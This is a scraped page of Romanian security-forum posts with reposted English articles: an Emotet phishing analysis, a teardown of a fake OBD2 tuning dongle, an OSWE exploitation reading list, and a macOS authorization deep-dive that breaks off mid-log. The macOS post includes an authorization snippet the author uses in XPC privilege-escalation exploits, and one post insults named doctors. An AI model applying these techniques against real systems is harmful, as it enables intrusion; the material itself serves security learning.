Nytro

Salut, bine ai venit. Pentu inceput ai nevoie sa inveti lucrurile de baza. Sunt multe si le-am enumerat in multe alte posturi: invata cate ceva despre fiecare: programare (HTML, CSS, JavaScript), SQL, un limbaj de programare (e.g. Java, PHP, ASP.NET, C++), networking (TCP/IP), protocoale (DNS, HTTP, SMTP, FTP), putina criptografie, sisteme de operare... Nu te gandi ca trebuie sa devii expert in toate, trebuie doar sa intelegi cum functioneaza. Apoi vei ajunge la partea de dezvoltare de exploit-uri. Avem si cate un tutorial in romana, dar cum zice si Gecko, engleza e de baza. Poti incepe de exemplu cu ceva de genul: https://repo.zenk-security.com/Magazine E-book/Penetration Testing - A hands-on introduction to Hacking.pdf

Atac EMOTET asupra CV19 admin_cv19 November 2, 2020 Securitate Cibernetica 0 EMOTET O Imagine de ansamblu a atacului asupra CV19 Analiză realizată de Alexandru Anghelus si Radu Stanescu Miercuri, 14 octombrie 2020, la 6 zile după prezentarea susținută de CERT RO împreună cu grupul Cyber Volunteers 19 despre securitatea cibernetică a spitalelor din România, am primit pe adresa de mail (contact@cv19.ro) un mesaj aparent inofensiv însă…alertele de securitate au explodat! Semnele de întrebare au apărut în momentul în care am un text legat de o factura emisă în baza… unui contract inexistent. S-a declanșat imediat procedura de Incident Response și am început investigația. Haideți să ”vedem” factura” La deschiderea fișierului putem observa un așa zis mesaj necesar pentru actualizarea sistemului de operare, unul ce ne informează că anumite aplicații au nevoie de update, menționând utilitarul Microsoft Word cu îndemnul de a acorda acces pentru editarea documentului. Putem spune că pentru vizualizarea acestui document era necesar să facem destul de multe operațiuni, deși în mod normal …ar fi trebuit să se deschidă și … atât! Avem de-a face cu un text scris la o scară foarte mică și total de neînțeles, dar dacă îl mărim putem vedea că este un text generat și…fără logică. Articol complet: https://cv19.ro/resurse/securitate-cibernetica/atac-emotet-asupra-cv19/

Daca iti place partea de security, cred ca Ruhr University of Bochum e OK, au si conferinta de security.

Salut, sfatul meu e sa mai astepti 2 ani, sa te mai bucuri de viata. O sa ai timp toata viata sa lucrezi. Daca vrei, in timpul liber, poti sa inveti singur si sa faci ce iti place. Desigur, ar fi util sa faci lucruri practice pe care ulterior sa le treci in CV. Daca e vorba de bani si sunt necesari, poti cauta ceva dar nu stiu cate firme platesc internship-uri si cate nu. Incearca daca e cazul, nu ai nimic de pierdut, sanse cred ca ar fi. Ar mai fi o posibila problema din punct de vedere legal, dar din cate stiu eu poti lucra part-time.

Nu poti crea un virus astfel. Nu e ca si cum ai lua o mana de la o maimuta, o trompa de la un elefant si un picior de la un caine si ai creat un nou animal. Teoretic, se poate recrea un virus cand acesta exista deja, adica sa fie reconstruit. Dar de creat de la 0 e foarte putin probabil. Sunt lucruri foarte complicate, nu neaparat sa iei niste bucati de ARN si sa le legi, trebuie sa stii exact ce efect ar putea avea rezultatul ceea ce nu are cum sa se stie. Nu cred ca e o relatie 1-1, adica o bucata sa faca ceva anume, ci mai degraba ca la amestecatul culorilor, adica amesteci galben si albastru si iti iese galbastru (adice verde). Intr-un organism uman sunt o gramada de tipuri de celule, de reactii si lucruri care se intampla, multe dintre ele nu se cunosc, astfel nu are cum sa apara cineva sa faca un virus care sa faca ceva anume.

Cred ca depinde de ce camera e: https://www.digitaltrends.com/photography/how-to-use-any-camera-as-a-web-cam/

Reverse engineering of the Nitro OBD2 Date Wed 11 October 2017 By Stanislas Lejay Guillaume Heilles Category Hardware. Tags CAN OBD This blog post presents the reverse engineering of an OBD2 dongle called "Nitro OBD2". It is advertised like this: "NitroOBD2 is a Chip Tuning Box which can be plugged into OBD2 connector of your car to increase the performance of your car." There are a lot of testimonies on the internet about this device being a fake, while other people say that is is really working. We wanted to reverse engineer it to check by ourselves. Context Automotive security is a quite interesting field, and a very vast one. Attack vectors are numerous, and you can't really grasp the whole potential a car can offer. Lastly, we played a lot with it and more precisely with the https://en.wikipedia.org/wiki/CAN_bus bus, in different ways (some smarter than others). We thus began to interest ourselves in what the world has to offer in terms of CAN devices and what people do with their CAN bus. A friend told us about a little on-board diagnostic (OBD) dongle called "Nitro OBD2", which is supposed to monitor the way you're driving and reprogram your engine according to it, in order to save fuel and/or get more power from your engine. He asked us if this thing was really working, so we bought one on http://amzn.eu/6yIOnhE, started to reverse engineer it and found a few interesting things. As we couldn’t write a full review on Amazon, we wrote this blog post instead. PCB analysis Before plugging this thing into a car, we decided to check what was inside. After opening the dongle, we were greeted with the classical OBD2 pinout. Here is what it looks like, and what each pin refers to: First, we tried to figure out if the pins corresponding to CANH and CANL were at least connected (and, thankfully, they were, or else this article would have stopped here and be quite disappointing!). The connected pins were the ones corresponding to the CAN bus, J1850 bus and ISO 9141-2 protocols: The circuit board shows that the only useful pins connected to the chip are those related to CAN, the others are connected to LEDs. At this point, we can already recreate the basic layout of the board: a simple power circuit a push button a chip 3 LEDs The circuit board didn't seem to contain any CAN transceiver, so either there was none, either it was directly integrated in the small chip along with its software. The software part is responsible for all the magic like: understand how the actual car works retrieve its state modify it reprogram the ECUs We began to be very sceptical about this device. Everything had to be packed into a single SOP-8 package or it was a fake. CAN analysis Setup One easy way to determine if this device actually does something is to plug it on the CAN bus of a car and check if it sends anything. We chose Guillaume's car, a 2012 diesel Suzuki Swift, because he is used to communicate with it using an ELM327 and Torque on Android. It works pretty well to get various information about the engine, and reset the error codes (DTCs). In order to see if the Nitro OBD2 is actually doing something on the CAN bus, we just need to record all CAN messages, before and after plugging it, and check if new messages are sent by the Nitro OBD2. So we first recorded all CAN messages seen on the OBD port, using a RaspberryPi and a PiCAN2 shield, and Stan's port of https://github.com/P1kachu/python-socketcan-monitor which enables to read from socket-can interfaces. The following setup is used to record the CAN messages directly from the OBD2 port: Just to be sure, we also checked the CAN signals with a PicoScope. As expected, we can see the CAN_H and CAN_L signals. We have an operational setup with a CAN bus working as expected and some monitoring tools. Next, we need to record the CAN messages when the Nitro device is plugged in. As there is only one OBD2 port in the car, we decided to connect our monitoring tool inside the Nitro device. So we opened the Nitro OBD2 to solder 3 wires on the Ground, CAN_High and CAN_Low and plugged the Raspberry's PiCAN2 interface on these wires. With this setup, we are able to sniff the CAN bus traffic, while the Nitro OBD2 is plugged in the car. Results The CAN bus traffic without the Nitro OBD2 plugged in is shown below: And here is the CAN bus traffic with the Nitro OBD2 plugged in: A quick comparison between the two images shows that there is no new message recorded while the Nitro OBD2 is plugged in. So this chip is not really communicating on the CAN bus. It just observes passively the CAN_H and CAN_L signals to check for CAN activity and blink the LEDs. Chip analysis From that point on, we can already say that this chip is not communicating on the CAN bus, which makes sense since we could not find any CAN transceiver on the board. Sadly enough, there is no engraving on the single chip of this device so we could not just check its datasheet. But as we are curious and like to decap chips, we also wanted to check the inside of the chip. After a quick bath in sulfuric acid at 200°C, here is a picture of the Nitro OBD2 chip: In this picture, we can see the RAM, Flash and CPU core, but very few other things. This looks like a standard microcontroller, with no special embedded device. Is it possible that the designers of this chip could stuff a CAN transceiver inside it? For reference, here is one of the most common CAN transceivers on the left, the TJA1050, also decapped, side to side with the Nitro's chip: As you can see, the design of the CAN transceiver is very different from the Nitro OBD2's chip. Moreover, there is no room in the Nitro OBD2's chip for anything of this size. This confirms the hypothesis that the Nitro OBD's chip does not embed any CAN transceiver, and is unable to communicate on the CAN bus. The Devil's Advocate Following all these different steps, we were confident that this tool was not doing anything apart from blinking LEDs. But people might still be sceptical about this conclusion, so we tried to find some ways to challenge it. Here are some statements/assumptions we made to harden it: Some people say you have to wait ~200 km for it to be effective, so how can we say for sure that it's useless when we only drove 15 km looking at the CAN monitor? Plugging the tool in the car doesn't raise any new arbitration ID, which means either: It uses an arbitration ID already used by our test car, so it sends messages as a living ECU in the car, which looks like a pretty bad idea because that would mess up with the ECU's communication. It doesn't query anything, and relies on the broadcasted messages only. This second option would require the tool to know every CAN system on any car to understand what each message means. This seems even more stupid than querying standard OBD2 PIDs that would at least give a slight idea of the driver's driving habits (like, how much the accelerator is depressed, the average speed/RPM, etc). Anyway, for sure, there is no CAN transceiver on this device... So yes, we are pretty confident in our analysis and are thus able to offer the following conclusion. Conclusion As a guy said in his Amazon comment: "Save 10 bucks, buy some fuel instead." Sursa: https://blog.quarkslab.com/reverse-engineering-of-the-nitro-obd2.html

Inregistrarile pentru CTF sunt deschise: https://ctf.rstcon.com/

Eu "folosesc" WhatsApp, vreau sa vad cum imi citesti mesajele cu acele aplicatii. Din cate ma uit pe acea porcarie vad asta: "Step 3: Obtain physical access to the target phone and open WhatsApp". Nu stiu cum sa spun, dar daca ai telefonul meu (si deblocat), nu trebuie sa descarci si sa instalezi nicio aplicatie, doar apesi pe iconita cu WhatsApp si "boom", ai acces la mesaje.

OSWE/AWAE Preparation Jan 22, 2020 WebExploit DevelopmentShare on: updated Content AWAE1.5 OSWE Exam Preparation This post contains all trainings and tutorials that could be useful for offensive security’s OSWE certification. I will be updating the post during my lab and preparation for the exam. Course Syllabus: https://www.offensive-security.com/documentation/awae-syllabus.pdf Before registering for AWAE Lab: Get comfortable with python requests library Read Web Application Hacker’s handbook, again if you already did Get familiar with Burpsuite Get familiar with regex Get hands on with OWASP top 10 2017 Vulnerabilities Vulnerable Apps for practice on OWASP Portswigger WebSecAcademy Practice code review skills - OWASP SKF Before registering for the OSWE Exam: XSS to RCE AtMail Email Server Appliance 6.4 - Persistent Cross-Site Scripting Chaining XSS, CSRF to achieve RCE Code analysis to gaining RCE Magento 2.3.1: Unauthenticated Stored XSS to RCE Mybb 18.20 From Stored XSS to RCE Bypassing File Upload Restrictions: [Paper] File Upload Restrictions Bypass Shell the web - Methods of a Ninja Unrestricted File Upload Atlassian Crowd Pre-auth RCE Popcorn machine from HackTheBox Vault machine from HackTheBox Authentication Bypass to RCE ATutor 2.2.1 Authentication Bypass ATutor LMS password_reminder TOCTOU Authentication Bypass ATutor 2.2.1 - Directory Traversal / Remote Code Execution Cubecart Admin Authentication Bypass Trendmicro smart protection bypass to RCE Password Reset Vulnerability Testing Password rest functionalities OWASP - Forgot Password Cheatsheet How we hacked multiple user accounts using weak reset tokens for passwords SQL Injection: RCE with SQL Injection - MSSQL SQL Injection to LFI to RCE - MySQL From SQLi to SHELL (I and II) - PentesterLab Pre-Auth Takeover of OXID eShops Blind SQL Injection [Paper] PostgreSQL Injection Having Fun With PostgreSQL Blind Postgresql Sql Injection Tutorial SQL Injection Cheat Sheet - PentestMonkey SQL Injection Cheat Sheet - PayloadAllTheThings Exploiting H2 SQL injection to RCE JavaScript Injection: Server Side JS Injection Remote Code Execution in math.js Arbitrary code execution in fast-redact NVIDIA GeForce Experience OS Command Injection - CVE-2019-5678 SetTimeout and SetInterval use eval therefore are evil Pentesting Node.js Application : Nodejs Application Security NodeJS remote debugging with vscode Escape NodeJS Sandboxes PHP Type Juggling: OWASP - PHPMagicTricks TypeJuggling PHP Type Juggling - Introduction Type Juggling, PHP Object Injection, SQLi Writing Exploits For PHP Type Juggling Type Juggling Authentication Bypass Vulnerability in CMS Made Simple PHP Magic Hashes Detailed Explanation of PHP Type Juggling Vulnerabilities [Video] PHP Type Juggling Vulnerabilities, Netsparker [Video] Falafel machine from HackTheBox Deserialization: Deserialization_Cheat_Sheet Insecure deserialization - PayloadAllthethings [Paper] Deserialization Vulnerability Serialization : A Big Threat JAVA Deserialization Understanding & practicing java deserialization exploits Understanding JAVA Deserialization Exploiting blind Java deserialization with Burp and Ysoserial Details on Oracle Web Logic Desrialization Analysis of Weblogic Deserialization [Video] Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java .NET Deserialization Use of Deserialization in .NET Framework Methods and Classes. Exploiting Deserialisation in ASP.NET via ViewState Remote Code Execution via Insecure Deserialization in Telerik UI [Video] Friday the 13th: JSON Attacks - BlackHat [Paper] Are you My Type? [Video] JSON Machine from HackTheBox - Ippsec PHP Object Injection/Deserialization What is PHP Object Injection phpBB 3.2.3: Phar Deserialization to RCE Exploiting PHP Desrialization Analysis of typo3 Deserialization Vulnerability Attack Surface of PHP Deserialization Vulnerability via Phar [Video] Intro to PHP Deserialization / Object Injection - Ippsec [Video] Advanced PHP Deserialization - Phar Files - Ippsec [Video] Exploiting PHP7 unserialize (33c3) NodeJS Deserialization Exploiting Node.js deserialization bug for Remote Code Execution The good, the bad and RCE on NodeJS applications Attacking Deserialization in JS Node.js Deserialization Attack – Detailed Tutorial [Video] Celestial machine from HackTheBox - Ippsec XML External Entity (XXE) Attack A Deep Dive into XXE Injection From XXE to RCE: Pwn2Win CTF 2018 Writeup Blind XXE to RCE Apache Flex BlazeDS XXE Vulnerabilty WebLogic EJBTaglibDescriptor XXE Server Side Template Injection (SSTI) [Portswigger Research] Server Side Template Injection [Video] SSTI : RCE For The Modern Web App - albinowax Server Side Template Injection Jinja2 template injection filter bypasses Exploitation of Server Side Template Injection with Craft CMS plugin SEOmatic <=3.1.3 Websocekts InSecurity Introduction to WebSockets [Video] Hacking with Websocket - BlackHat Remote Hardware takeover via Websocket Hijacking Cross-Site WebSocket Hijacking to full Session Compromise Source Code Audit Introduction to Code Review [PentesterLab] Static code analysis writeups TrendMicro - Secure Coding Dojo Bug Hunting with Static Code Analysis [Video] Shopify Remote Code Execution - Hackerone Finding vulnerabilities in source code ( APS.NET) A deep dive into ASP.NET Deserialization Writeups by mr_me Youtube Playlist https://www.youtube.com/watch?v=Xfbu-pQ1tIc&list=PLwvifWoWyqwqkmJ3ieTG6uXUSuid95L33 Further References/Reviews From AWAE to OSWE the preperation guide - hansesecure OSWE Exam Review 2020 Notes gifts inside - 21y4d OSWE Cheat Sheet - V1s3r1on wetw0rk/AWAE-PREP https://codewhitesec.blogspot.com/ https://blog.ripstech.com/ https://rhinosecuritylabs.com Sursa: https://z-r0crypt.github.io/blog/2020/01/22/oswe/awae-preparation/

Azi e ultima zi pentru CFP! Daca mai e cineva interesat sa prezinte, sa aplice azi.

Ziceam ipotetic, ce as face eu daca as putea face ceva. Eu pot doar sa ii banez de pe forum unde nu cred ca au cont.

Un var de-al meu da share unui post pe Facebook al unei tipe (care n-are nicio treaba cu nimic, random Facebook person) care contine un videoclip cu un interviu la Antena3 la care participa 2 doctori si care zic ca virusul e o gripa. Postul e din 15 octombrie si are 1500 de idiot-share-uri. Acum, la o scurta cautare pe Google, 5 minute, am gasit 2 lucruri: 1. Videoclipul este din cel TARZIU 17 iunie, nu 15 octombrie, deci nu mai e de actualitate (numarul de cazuri si tot ce s-a aflat intre timp...) 2. Am gasit unul dintre cei 2 doctori si se pare ca si-a schimbat opinia intre timp: https://www.facebook.com/radu.stoica.5074 3. Pe celalalt medic nu l-am gasit ca sunt multi cu numele acesta si imi e lene: https://www.facebook.com/public/Ioan-Cordos Ce as face eu? 1. I-as bana contul idioatei care a uploadat acel video (nu a dat reshare de undeva) - raspandire fake news 2. I-as bana temporar pe toti idiotii care dau share unei idioate de pe Facebook - raspandire involuntara fake news, IQ mic, se iarta 3. I-as da afara pe doctorii aia si i-as pune sa apara peste tot, sa isi ceara scuze si sa zica ca sunt idioti. Si nici la Mega-Image nu i-as lasa sa lucreze ca poate si "Mango e doar un mar" sau mai stiu eu ce. Referitor si la doctori si la alte persoane care negau acest virus, lucrurile sunt simple: ba, nu stii despre ce e vorba? Taci in mortii ma-tii. Crezi tu ca e asa sau altfel? Pastreaza asta pentru tine. Adica daca nu stii un lucru, baga capul in pamant si nu manca cacat la televizor. Astfel de lucruri sunt foarte comune pe net in general, nu doar acum. Vezi ocazional "imagini de la proteste" care sunt de fapt vechi de ani si de la intamplari total diferite, articole trunchiate sau scoase din burta si o gramada de alte porcarii. Cum zicea cineva: partea buna e ca toata lumea are acces la Internet, partea proasta e ca toata lumea are acces la Internet. Ce nu intelege lumea e "cum functioneaza" Internetul asta. Dar cred ca multi inteleg si degeaba...

Am gasit si whitepaper-ul despre Zoom E2E encryption: https://github.com/zoom/zoom-e2e-whitepaper/blob/master/zoom_e2e.pdf Pare un proces complicat, ma refer cand e vorba de "group" chats.

Nu vreau sa vin si eu cu o teorie conspirationista dar mesajul meu de mai sus, acea imagine are un mesaj ascuns. Sa vedem cine il decodeaza. Ontopic: Da, sunt si diferite aberatii dar si lucruri utile. Il mai lasam putin si vedem cum evolueaza lucrurile.

Vad ca a tot crescut numarul de cazuri...

CTF - 20 noiembrie 2020 10:00 - 18:00 Platforma va fi lansata pe 1 noiembrie. Bine, nu e mare inginerie sa o gasiti si sa va inregistrati deja.

Rise Project rullz! ❤️

Let's talk macOS Authorization October 22, 2020 15 minutes read BLOG macos • internals • authorization This is a blog post I wanted to write for a while now, but somehow never got the time for it, and I also knew that it will require lots of time, so I kept delaying it. I finally kicked my ass, sat down, and wrote it. The goal of the post is to cover many aspects of authorization, which I found interesting from security perspective. Honestly, partially for selfish reasons so I will have a goto summary when I need to lookup something later instead of browsing through 8-10 different articles. All of these information I try catch here in one post, are known, but spread all over the place in various blog posts and articles, and I never found a good, central location with all the details. Also some of the items are very confusing and it took me some time to clear things in my head as not everything is obvious or intuitive. When I talk about authorization here, I mean the user mode authorization on macOS, which is handled by the authdprocess. There is also a kernel authorization framework, kauth, but this post is not about that. Let’s begin. Main authorization concept I think the concepts are best described at Apple’s Authorization Concepts documentation. It’s rather old, but still valid. There is an authorization database on the system, with various rights, that can be asked for, and if the requirement are satisfied, authorization will be granted and the asked right will be given. Based on this it might sound that an authorization could give extra rights to our process, which is both true and false at the same time. Let’s discuss first why it’s not true, as I think this is the more confusing part. Let’s say Process A runs as a regular user and asks for the Right X, which is required to perform Task A. Let’s also assume that in order to perform Task A a process has to run as root, because it needs to write to a location where only root has access. Now, after obtaining Right X, will our process be able to perform Task A? The answer is: ~NO~. It still runs as the standard user, which has no write access to that location. How can it still perform Task A? It can ask Process B, which runs as root, to perform Task A with showing the authorization Right X, which will be verified by Process B. If it can’t obtain the right So let’s begin. will deny the request. This example can also be done in another way. We only have Process B running as root. Prior to executing Task A, it will try to obtain the authorization Right X, and if successful it will do the task. These examples show that authorization is a self-restrictive model, which means that our standard POSIX processes won’t have more privileges when obtaining a right but they can limit themselves to perform specific actions and tie it to an authorization right. I think this is crucial to understand going forward. The authorization rights that can be obtained are stored in the authorization database, which we will discuss next. The authorization database The default authorization PLIST file is located at /System/Library/Security/authorization.plist. This is the file that is used to initialize the SQLITE3 authorization database, which is located at /var/db/auth.db. The database is only readable and writeable for the root user. We have two ways to read and write to this database. Using the security command line tool Using sqlite3 directly on the database The security command line tool has an authorizationdb argument which allows reading and writing to the DB. We can read as a normal user from the database using this tool, for any modifications we need to run it as root. Using sqlite3 will only work if we run it as root, because of the file permissions. Let’s review method one first. Here is an example reading out the system.preferences.accounts right, which is the right required to make changes to users. csaby@mac ~ % security authorizationdb read system.preferences.accounts <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>allow-root</key> <true/> <key>authenticate-user</key> <true/> <key>class</key> <string>user</string> <key>comment</key> <string>Checked by the Admin framework when making changes to the Users &amp; Groups preference pane.</string> <key>created</key> <real>609094350.06486595</real> <key>group</key> <string>admin</string> <key>modified</key> <real>609094350.06486595</real> <key>session-owner</key> <false/> <key>shared</key> <false/> <key>timeout</key> <integer>2147483647</integer> <key>tries</key> <integer>10000</integer> <key>version</key> <integer>0</integer> </dict> </plist> YES (0) We get back a typical PLIST representation. We will review some of the key parts of the entry. The class key is set to user, which means that it’s a user based right. allow-root being set to true means that the right will be granted for root, without any further authentication. The authenticate-user means to authenticate the user for this right, however this will be only effective if the user is in the admin group as specified later under the group key. This means that if our user is in this group, we can be authenticated, and if that is successful the right will be granted. There is another type of class for authorization, and it’s not user, but rule based. The config.remove. right is an example for this. csaby@mac ~ % security authorizationdb read config.remove. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>class</key> <string>rule</string> <key>comment</key> <string>Wildcard right for deleting rights. Admins are allowed to delete any (non-wildcard) rights. Root does not require authentication.</string> <key>created</key> <real>609094350.06486595</real> <key>k-of-n</key> <integer>1</integer> <key>modified</key> <real>609094350.06486595</real> <key>rule</key> <array> <string>is-root</string> <string>authenticate-admin</string> </array> <key>version</key> <integer>0</integer> </dict> </plist> YES (0) Here we can see the authorization class is set to rule, and later on we have a rule key, which stores, well… rules. Here it’s set to is-root and authenticate-admin. This means that the root user, and admin users after authentication can get this right. There is also a k-of-n key, which specifies how many of the rules specified in the army has to be satisfied for granting the rule. In this case it’s 1. There is another important authorization class, which is allow, and the config.add. right is a good example for this. This class means that anyone can get the right. csaby@mac ~ % security authorizationdb read config.add. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>class</key> <string>allow</string> <key>comment</key> <string>Wildcard right for adding rights. Anyone is allowed to add any (non-wildcard) rights.</string> <key>created</key> <real>609094350.06486595</real> <key>modified</key> <real>609094350.06486595</real> <key>version</key> <integer>0</integer> </dict> </plist> YES (0) This specific right is required to add an entry to the authorization database. There are other classes, like evaluate-mechanisms, which will list several mechanisms, which will be handled by various authorization plugins. I won’t discuss this topic here. For the rule based rights, there are many other options to specify under the key, like entitled or entitled-admin. The other way reading this database is via sqlite3, which is less convenient as the columns are not so descriptive, however it allows us an easy dump and offline review of the database. We can dump it as follows. csaby@mac ~ % sudo sqlite3 /var/db/auth.db .dump > auth.txt This will contain entries like the following: INSERT INTO rules VALUES(130,'config.add.',1,4,NULL,NULL,NULL,0,NULL,0,609094350.06486594677,609094350.06486594677,NULL,NULL,NULL,'Wildcard right for adding rights. Anyone is allowed to add any (non-wildcard) rights.'); If we print the schema of the database, we can check what each entry means. sqlite> .schema ... CREATE TABLE rules (id INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,name TEXT NOT NULL UNIQUE,type INTEGER CHECK (type = 1 OR type = 2) NOT NULL,class INTEGER CHECK (class > 0),'group' TEXT,kofn INTEGER,timeout INTEGER,flags INTEGER,tries INTEGER,version INTEGER NOT NULL DEFAULT (0),created REAL NOT NULL DEFAULT (0),modified REAL NOT NULL DEFAULT (0),hash BLOB,identifier TEXT,requirement BLOB,comment TEXT); ... It has one great benefit, we can list all the rule names, which is not available through the other method, so if we search for a rule where we don’t know its name exactly, this is the way we can get to it. There is one more interesting entry in some rules, which opens up lots of confusion, and that’s the requirement key. We can typically see this when third party apps, especially privilege helper tools install new rights to the database. I have Proxyman installed, which entered the right com.proxyman.NSProxy.HelperTool.overrideProxySystemPreferences. csaby@mac ~ % security authorizationdb read com.proxyman.NSProxy.HelperTool.overrideProxySystemPreferences <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>class</key> <string>rule</string> <key>created</key> <real>610018350.78242695</real> <key>default-prompt</key> <dict> <key></key> <string>Proxyman is trying to override Proxy config in System Preferences.</string> </dict> <key>identifier</key> <string>com.proxyman.NSProxy</string> <key>modified</key> <real>610018350.78242695</real> <key>requirement</key> <string>anchor apple generic and identifier "com.proxyman.NSProxy" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "3X57WP8E8V")</string> <key>rule</key> <array> <string>allow</string> </array> <key>version</key> <integer>0</integer> </dict> </plist> YES (0) As we can see, there is a requirement key with a long code signing blob. In fact this is the csreq (=code signing requirement) of the application installed this right, which is Proxyman in this case. Using common sense, one would think that only apps satisfying the code signing requirement can obtain this right, however that is not right. This requirement has nothing to do about who can obtain the right. Anyone satisfying the rule can get it. In this particular case it’s set to allow, which means anyone asking for the right will obtain it. This false understanding lead to privilege escalation bugs in the past, like CVE-2019-13013. The only place where the requirement is (was) important is when we want to modify the rule. We can find this in Security-59306.61.1/OSX/authd/server.c. static bool _prompt_for_modifications(process_t __unused proc, rule_t __unused rule) { // <rdar://problem/13853228> will put back it back at some later date // SecRequirementRef ruleReq = rule_get_requirement(rule); // // if (ruleReq && process_verify_requirment(proc, ruleReq)) { // return false; // } return true; } We can see that if the process satisfies the code signing requirements then there is no need to prompt otherwise yes. However it was set to always prompt, due to some issues and the actual check is commented out. Next I go back to the authorization concepts to discuss how these come into play in factored applications, because that can be interesting from security perspective. Factored applications (privileged helper tools) Apple offers two main methods for applications to execute privilege actions. Using the AuthorizationExecuteWithPrivileges API, which is deprecated or using a factored application. A factored application means that we install a privileged helper tool through launchd, which runs as root, and we talk to this helper app through some form of IPC and asks action. The IPC is mostly XPC these days, however sockets, Mach, and Distributed Objects can be still found. Let’s discuss briefly the deprecated API. This was extensively covered by Patrick Wardle in his blogpost, I will only do a high level overview here. When this API is invoked, an XPC message will be sent to the authorization daemon, authd. It will check the database for the system.privilege.admin rule, and if needed authenticate the user through Security Server. If authorization was successful, security_authtrampoline will be invoked to execute the required binary. security_authtrampoline is a SUID binary, owned by root, so it will run with root privileges. It will also verify the authorization info before execution. This API is considered insecure, as security_authtrampoline won’t perform any validation of the binary, and if it’s writeable for the user, it opens the door for privilege escalations. Moving on to factored applications, authorization can work through several ways. The recommended way doing this is using pre-authorization for better performance, however it’s not strictly needed as it doesn’t add extra security. The process is illustrated on Apple’s flow chart I took from the Authorization Concepts document. The calling app has to create an empty AuthorizationReference first. If pre-authorization happening it needs to try to get authorization rights and ad it to the AuthorizationReference. When the application tries to obtain the rights it can chose if user prompting is allowed or not. However if user authentication is required by the specific rule for the given right, and the application doesn’t allow prompting, the authorization will fail. Next it needs to crate an AuthorizationExternalForm from the AuthorizationReference, and pass it to the helper tool. This external reference is a 32 byte long binary data, which, if guessed by any application it can be used and potentially lead to privilege escalation. The helper tool process is shown on Apple’s drawing. The helper tool takes the AuthorizationExternalForm and converts it back to a AuthorizationReference and performs the authorization. If successful it will perform the privileged action. I need to highlight that the authorization which is happening at the privilege helper tool is happening on behalf of the original client based on the reference. This is important as the helper tool runs as root, and as such it could get almost any right from the system. When performing authorization it can chose again to prompt for user authentication or not. If it was done in the main app already during preauthorization, there is no need for that, otherwise yes. To give an example, let’s examine the following logs. These are from my very first attempt to exploit F-Secure’s XPC privileged helper tool, which I documented here in more detail. info 14:57:42.800020+0100 authd Process /usr/local/f-secure/bin/fscsafeadmind.xpc (PID 300) evaluates 1 rights with flags 00000002 (engine 82): ( "system.privilege.admin" ) debug 14:57:42.800041+0100 authd engine 82: user not used password debug 14:57:42.800060+0100 authd engine 82: checking if rule system.privilege.admin contains password-only item debug 14:57:42.801121+0100 authd engine 82: _preevaluate_rule system.privilege.admin debug 14:57:42.801198+0100 authd engine 82: evaluate right system.privilege.admin debug 14:57:42.801316+0100 authd engine 82: using rule system.privilege.admin error 14:57:42.801378+0100 authd Fatal: interaction not allowed (kAuthorizationFlagInteractionAllowed not set) (engine 82) debug 14:57:42.801397+0100 authd Failed to authorize right 'system.privilege.admin' by client '/usr/local/f-secure/bin/fscsafeadmind.xpc' [300] for authorization created by '/Users/csaby/Desktop/F-Secure Mac Protection.app' [1180] (2,0) (-60007) (engine 82) debug 14:57:42.801444+0100 authd engine 82: authorize result: -60007 error 14:57:42.801471+0100 authd copy_rights: authorization failed F-Secure used pre-authorization for sensitive actions, and it prompted the user during that phase on the main application. As preauthentication already happened, the privileged helper had no need to prompt for user interaction. Thus if authentication wasn’t performed before, the privilege helper failed, and this is what we see in the logs, where I didn’t do preauthorization. The fscsafeadmind.xpc process tries to obtain the system.privilege.admin right. We can see next that the rule is being evaluated, and then it fails. The log clearly indicates that the authorization was performed for the client F-Secure Mac Protection.app (where I injected my dylib). I still think that relying only on authorization only in privilege helper tools is not secure enough, as macOS users are used to get authentication prompts frequently and they will likely authenticate even if a malicious app asks for it. I discussed this in more detail here. Next we will review how the Authorization API works. The Authorization API I will start with a sample code I frequently use in XPC exploits to obtain an empty authorization. AuthorizationExternalForm create_auth(AuthorizationRef authref) { //local variables NSData *authorization; OSStatus err; AuthorizationExternalForm extForm; //setup an empty authorization err = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authref); if (err == errAuthorizationSuccess) { err = AuthorizationMakeExternalForm(authref, &extForm); } return extForm; } The first function we need to start with is AuthorizationCreate. With passing kAuthorizationEmptyEnvironment and kAuthorizationFlagDefaults it will create an empty authorization reference. If successful we can convert it to an AuthorizationExternalForm using AuthorizationMakeExternalForm. This operation is normally successful as anyone can get an empty right. To obtain an actual authorization right we need to use the AuthorizationCopyRights function, shown below. AuthorizationCopyRights( authRef, &rights, NULL, kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed, NULL ); This is the function where we can specify if we allow user interaction during obtaining the right or not using the kAuthorizationFlagInteractionAllowed flag. To interact with the database we can use AuthorizationRightGet, AuthorizationRightSet and AuthorizationRightRemove. The full API documentation is available at Apple’s Authorization Services Documentation. Next we will see how we can retrieve logs. Logs In the past there was the /var/log/authd.log file, however since unified logging was introduced back in 2016, it faded away, and it doesn’t exists anymore. If we need to read authd related logs we can query the com.apple.Authorization subsystem with the log show command as shown below. csaby@mac ~ % log show --style syslog --predicate 'subsystem == "com.apple.Authorization"' --last 1h Filtering the log data using "subsystem == "com.apple.Authorization"" Skipping info and debug messages, pass --info and/or --debug to include. Timestamp (process)[PID] 2020-10-21 23:13:48.701287+0200 localhost authd[230]: [com.apple.Authorization:authd] session owner 501 is member of group admin (does satisfy rule) (engine 6437) 2020-10-21 